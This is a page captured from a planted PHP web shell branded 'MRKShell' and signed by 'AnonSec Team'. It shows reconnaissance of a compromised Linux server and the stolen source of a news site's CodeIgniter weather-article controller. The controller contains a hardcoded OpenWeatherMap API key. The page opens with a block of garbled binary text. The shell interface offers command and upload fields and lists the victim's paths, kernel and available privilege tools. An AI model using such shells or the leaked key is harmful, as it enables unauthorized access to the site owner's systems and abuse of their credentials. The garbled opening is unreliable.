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BGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/hitadmin/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/hitadmin/application/controllers/Clima.php
<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Clima extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->library('Clima_templates');
        $this->load->helper(['text', 'date']);

        $this->load->model('notas_md');
        $this->load->model('secciones_md');
        $this->load->model('ediciones_md');
        $this->load->model('encuestas_md');

        $this->load->model('nota_md');
        $this->load->model('nota_backup_md');
        $this->load->model('tag_md');
        $this->load->model('relacion_md');
        $this->load->model('relacion_Tag_md');
        $this->load->model('foto_md');
        $this->load->model('notasVisitas_md');
        $this->load->model('video_md');
        $this->load->model('agenda_md');
        $this->load->model('evento_md');
        $this->load->model('encuesta_md');
    }

    public function generar_multiples() {
        $ciudades = [
            'San Miguel de Tucumán',
            'Yerba Buena',
            'Tafí Viejo',
            'Banda del Río Salí',
            'Trancas',
            'Famaillá',
            'Concepción',
            'Monteros',
            'Simoca',
            'San Pedro de Colalao',
            'El Cadillal',
            'Tafí del Valle',
            'Amaicha'
        ];

        foreach ($ciudades as $ciudad) {
            $this->generar($ciudad);
        }
    }

    public function generar($ciudad_url = null) {
        if (!$ciudad_url) {
            show_error('Debe especificar una ciudad');
        }

        $ciudad = urldecode($ciudad_url);
        $latlon = $this->get_coords($ciudad);
        if (!$latlon)
            show_error('No se encontraron coordenadas para la ciudad: ' . $ciudad);

        $apiKey = '7880473398fffa3d2ec5282c9b753c6d'; // Reemplazar por tu clave de OpenWeatherMap
        $url = "https://api.openweathermap.org/data/3.0/onecall?lat={$latlon['lat']}&lon={$latlon['lon']}&units=metric&lang=es&appid={$apiKey}";

        $json = file_get_contents($url);
        $data = json_decode($json, true);

// Edición
        $edicion = $this->ediciones_md->getEdicionPublicada();
        $edicion_id = $edicion['id'];

// Día en español (Windows suele necesitar 'spanish')
        setlocale(LC_TIME,
                'Spanish_Spain.1252',
                'Spanish_Argentina.1252',
                'spanish',
                'es-ES',
                'es_AR'
        );

        $hoy = $data['daily'][0];
        $maniana = $data['daily'][1];

        $como_esta = $hoy['weather'][0]['main'];
        $como_esta = strtolower($como_esta); // Aseguramos minúsculas

        $min = (int) round($hoy['temp']['min']);
        $max = (int) round($hoy['temp']['max']);
        $estado = $hoy['weather'][0]['description']; // mejor description en español

        $min2 = (int) round($maniana['temp']['min']);
        $max2 = (int) round($maniana['temp']['max']);
        $estado2 = $maniana['weather'][0]['description'];

// Día de hoy
        $fecha = $this->dia_es_mapeado($hoy['dt']);
        $fecha2 = $this->dia_es_mapeado($maniana['dt']);

        $estado = strtolower($estado); // Aseguramos minúsculas
        $estado2 = strtolower($estado2); // Aseguramos minúsculas

        if (in_array($como_esta, ['rain', 'drizzle', 'thunderstorm'])) {
            $foto_tipo = 1; // Lluvia
        } elseif ($como_esta === 'clear') {
            $foto_tipo = 2; // Sol
        } elseif ($como_esta === 'clouds') {
            $foto_tipo = 3; // Nublado
        } elseif ($como_esta === 'snow') {
            $foto_tipo = 4; // Nieve
        } elseif (in_array($como_esta, ['mist', 'fog', 'haze', 'smoke'])) {
            $foto_tipo = 5; // Niebla
        } else {
            $foto_tipo = 3; // Nublado por defecto
        }

        switch ($ciudad) {
            case "San Miguel de Tucumán":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364264;
                        break;
                    case 2: //Sol
                        $fotos_input = array(364265, 364266, 364267, 364268, 364269, 364270, 364271, 364272, 364273, 364274, 364275, 364276, 364277, 364278, 364279, 364280);
                        $rand_keys = array_rand($fotos_input, 1);
                        $foto = $fotos_input[$rand_keys];
                        break;
                    case 3: //Nublado
                        $fotos_input = array(364281, 364282, 364283, 364284, 364285, 364286, 364287, 364288, 364289);
                        $rand_keys = array_rand($fotos_input, 1);
                        $foto = $fotos_input[$rand_keys];
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
                break;
            case "Yerba Buena":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364290;
                        break;
                    case 2: //Sol
                        $foto = 364262;
                        break;
                    case 3: //Nublado
                        $foto = 364263;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
                break;
            case "Tafí Viejo":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364290;
                        break;
                    case 2: //Sol
                        $fotos_input = array(364255, 364256, 364257, 364258, 364259);
                        $rand_keys = array_rand($fotos_input, 1);
                        $foto = $fotos_input[$rand_keys];
                        break;
                    case 3: //Nublado
                        $foto = 364293;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
                break;
            case "Banda del Río Salí":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364228;
                        break;
                    case 2: //Sol
                        $fotos_input = array(364229, 364230);
                        $rand_keys = array_rand($fotos_input, 1);
                        $foto = $fotos_input[$rand_keys];
                        break;
                    case 3: //Nublado
                        $foto = 364231;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
                break;
            case "Trancas":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364290;
                        break;
                    case 2: //Sol
                        $fotos_input = array(364260, 364261);
                        $rand_keys = array_rand($fotos_input, 1);
                        $foto = $fotos_input[$rand_keys];
                        break;
                    case 3: //Nublado
                        $foto = 364293;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
                break;
            case "Famaillá":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364290;
                        break;
                    case 2: //Sol
                        $fotos_input = array(364238, 364239, 364240);
                        $rand_keys = array_rand($fotos_input, 1);
                        $foto = $fotos_input[$rand_keys];
                        break;
                    case 3: //Nublado
                        $foto = 364241;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
                break;
            case "Concepción":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364290;
                        break;
                    case 2: //Sol
                        $fotos_input = array(364232, 364233);
                        $rand_keys = array_rand($fotos_input, 1);
                        $foto = $fotos_input[$rand_keys];
                        break;
                    case 3: //Nublado
                        $foto = 364234;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
                break;
            case "Monteros":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364242;
                        break;
                    case 2: //Sol
                        $fotos_input = array(364243, 364244);
                        $rand_keys = array_rand($fotos_input, 1);
                        $foto = $fotos_input[$rand_keys];
                        break;
                    case 3: //Nublado
                        $foto = 364245;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
                break;
            case "Simoca":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364290;
                        break;
                    case 2: //Sol
                        $foto = 364249;
                        break;
                    case 3: //Nublado
                        $foto = 364250;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
                break;
            case "San Pedro de Colalao":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364290;
                        break;
                    case 2: //Sol
                        $fotos_input = array(364246, 364247);
                        $rand_keys = array_rand($fotos_input, 1);
                        $foto = $fotos_input[$rand_keys];
                        break;
                    case 3: //Nublado
                        $foto = 364248;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
                break;
            case "El Cadillal":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364290;
                        break;
                    case 2: //Sol
                        $fotos_input = array(364235, 364236);
                        $rand_keys = array_rand($fotos_input, 1);
                        $foto = $fotos_input[$rand_keys];
                        break;
                    case 3: //Nublado
                        $foto = 364293;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364237;
                        break;
                }
                break;
            case "Tafí del Valle":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364290;
                        break;
                    case 2: //Sol
                        $fotos_input = array(364251, 364252, 364253);
                        $rand_keys = array_rand($fotos_input, 1);
                        $foto = $fotos_input[$rand_keys];
                        break;
                    case 3: //Nublado
                        $foto = 364254;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
                break;
            case "Amaicha":
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364290;
                        break;
                    case 2: //Sol
                        $foto = 364226;
                        break;
                    case 3: //Nublado
                        $foto = 364227;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
                break;
            default:
                switch ($foto_tipo) {
                    case 1: //Lluvia
                        $foto = 364290;
                        break;
                    case 2: //Sol
                        $foto = 364294;
                        break;
                    case 3: //Nublado
                        $foto = 364293;
                        break;
                    case 4: //Nieve
                        $foto = 364292;
                        break;
                    case 5: //Neblina
                        $foto = 364291;
                        break;
                }
        }

        $nota = $this->clima_templates->generar_nota($ciudad, $min, $max, $estado, $fecha, $min2, $max2, $estado2, $fecha2);

// Creo la URL
        $url_limpia = $this->varios_lb->limpiarurl($nota['titulo']);
        $url_limpia = $this->varios_lb->amigar_cadena($url_limpia);
        $var = filter_var($url_limpia, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);
        $url = trim($var) . ".html";

        $texto = '<texto>' . htmlentities($nota['contenido'], ENT_QUOTES) . '</texto>';

        $insert = array(
            'edicion_id' => $edicion_id,
            'anteTitulo' => "Pronóstico",
            'titulo' => $nota['titulo'],
            'sumario' => $nota['bajada'],
            'texto' => $texto,
            'habilitada' => 1,
            'fechaAlta' => date('Y-m-d H:i:s', time()),
            'fechamod' => date('Y-m-d H:i:s', time()),
            'video_en_nota' => 0,
            'ocultar_portada' => 0,
            'patrocinado' => 0,
            'scroll_inactivo' => 0,
            'permisoComent' => 1,
            'mayor' => 0,
            'id_seccion' => 16,
            'id_subseccion' => 0,
            'vista' => 1,
            'url' => $url,
            'usuario_id' => 2888
        );
        $nota_id = $this->codegen_model->addReturnID('nota', $insert);

        /* RELACIÓN FOTO */
        $data_foto = array(
            'nota_id' => $nota_id,
            'objeto_id' => $foto,
            'tipo' => 30,
            'orden' => 1,
            'destacado' => 1,
            'descripcion' => ""
        );
        $this->codegen_model->add('relacion', $data_foto);
        /* FIN RELACIÓN FOTO */

        /* AUDITORÍA NOTA */
        $audit = array(
            'usuario_id' => 2888,
            'usuario_nombre' => "Contenido Automático",
            'operacion' => "Alta de la nota " . $nota_id . " desde formulario",
            'operacion_id' => 3,
            'consulta' => "Nota desde formulario",
            'objeto_id' => $nota_id,
            'ip_origen' => "127.0.0.1",
            'fecha' => date("Y-m-d H:i:s")
        );
        $this->codegen_model->add('usuario_historial', $audit);
        /* FIN AUDITORÍA NOTA */

        /* NOTA EN VISITAS */
        $visitas = array(
            'nota_id' => $nota_id,
        );
        $this->codegen_model->add('nota_visitas', $visitas);
        /* FIN NOTA EN VISITAS */

        $message = array('message' => 'Nota ingresada correctamente', 'class' => 'alert alert-success fade-in');
        $this->session->set_flashdata('agregar', $message);

        $this->_recargar_cache($nota_id, 14);
    }

    private function get_coords($ciudad) {
        $ciudades = [
            'San Miguel de Tucumán' => ['lat' => -26.8241, 'lon' => -65.2226],
            'Yerba Buena' => ['lat' => -26.8164, 'lon' => -65.3048],
            'Tafí Viejo' => ['lat' => -26.7322, 'lon' => -65.2596],
            'Banda del Río Salí' => ['lat' => -26.8282, 'lon' => -65.1672],
            'Trancas' => ['lat' => -26.2333, 'lon' => -65.2667],
            'Famaillá' => ['lat' => -27.0500, 'lon' => -65.4000],
            'Concepción' => ['lat' => -27.3465, 'lon' => -65.5945],
            'Monteros' => ['lat' => -27.1676, 'lon' => -65.4885],
            'Simoca' => ['lat' => -27.2667, 'lon' => -65.3500],
            'San Pedro de Colalao' => ['lat' => -26.1550, 'lon' => -65.6000],
            'El Cadillal' => ['lat' => -26.7167, 'lon' => -65.2167],
            'Tafí del Valle' => ['lat' => -26.8519, 'lon' => -65.7092],
            'Amaicha' => ['lat' => -26.6000, 'lon' => -65.9333]
        ];

        return $ciudades[$ciudad] ?? null;
    }

    function dia_es_mapeado($timestamp) {
        $map = ['domingo', 'lunes', 'martes', 'miércoles', 'jueves', 'viernes', 'sábado'];
        return $map[(int) date('w', (int) $timestamp)];
    }

    public function _recargar_cache($nota_id = 0, $seccion_id = 0) {
        $this->load->library('memcached_library');

        if ($nota_id > 0) {
            /* Me fijo si esta cacheada la nota */
            $nota_en_cache = $this->memcached_library->get('nota_' . $nota_id);
            if ($nota_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id);
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheada la firma de la nota */
            $nota_firma_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_autor');
            if ($nota_firma_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_autor');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los tags de la nota */
            $nota_tags_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_tags');
            if ($nota_tags_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_tags');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado las fotos de la nota */
            $nota_fotos_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_fotos');
            if ($nota_fotos_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_fotos');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_videos_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_videos');
            if ($nota_videos_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_videos');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_adjuntos_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_adjuntos');
            if ($nota_adjuntos_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_adjuntos');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_encuestas_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_encuestas');
            if ($nota_encuestas_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_encuestas');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_evento_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_evento');
            if ($nota_evento_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_evento');
            /*             * ********Fin Cache************** */

            /* Me fijo si esta cacheado los videos de la nota */
            $nota_lugares_en_cache = $this->memcached_library->get('nota_' . $nota_id . '_lugares');
            if ($nota_lugares_en_cache)
                $this->memcached_library->delete('nota_' . $nota_id . '_lugares');
            /*             * ********Fin Cache************** */
        }

        /* Me fijo si esta cacheada la nota */
        $rank_en_cache = $this->memcached_library->get('masvistas');
        if ($rank_en_cache)
            $this->memcached_library->delete('masvistas');
        /*         * ********Fin Cache************** */

        /* Me fijo si esta Ranking */
        $rank_en_cache = $this->memcached_library->get('ult_notas');
        if ($rank_en_cache)
            $this->memcached_library->delete('ult_notas');
        /*         * ********Fin Cache************** */
        /* Me fijo si esta Ranking */
        $rank_en_cache = $this->memcached_library->get('vis_notas');
        if ($rank_en_cache)
            $this->memcached_library->delete('vis_notas');
        /*         * ********Fin Cache************** */
        /* Me fijo si esta Ranking */
        $rank_en_cache = $this->memcached_library->get('com_notas');
        if ($rank_en_cache)
            $this->memcached_library->delete('com_notas');
        /*         * ********Fin Cache************** */
        /* Me fijo si UM */
        $um_en_cache = $this->memcached_library->get('nota_seccion_um');
        if ($um_en_cache)
            $this->memcached_library->delete('nota_seccion_um');
        /*         * ********Fin Cache************** */


        /* Me fijo si esta cacheado las secciones home */
        $nota_seccion_home_en_cache = $this->memcached_library->get('notas_tag_' . $seccion_id . '_home');
        if ($nota_seccion_home_en_cache)
            $this->memcached_library->delete('notas_tag_' . $seccion_id . '_home');
        /*         * ********Fin Cache************** */

        /* Borro cache de todas las secciones home */
        $nota_seccion_todas_en_cache = $this->memcached_library->get('notas_tag_0_home');
        if ($nota_seccion_todas_en_cache)
            $this->memcached_library->delete('notas_tag_0_home');
        /*         * ********Fin Cache************** */

        /* Me fijo si esta cacheado del bloque home por sección */
        $nota_bloque_home_en_cache = $this->memcached_library->get('bloque_automatico_home_' . $seccion_id);
        if ($nota_bloque_home_en_cache)
            $this->memcached_library->delete('bloque_automatico_home_' . $seccion_id);
        /*         * ********Fin Cache************** */

        /* Me fijo si esta cacheado del bloque home por general */
        $nota_bloque_home_general_en_cache = $this->memcached_library->get('bloque_automatico_home_0');
        if ($nota_bloque_home_general_en_cache)
            $this->memcached_library->delete('bloque_automatico_home_0');
        /*         * ********Fin Cache************** */
    }

}

Anon7 - 2022
AnonSec Team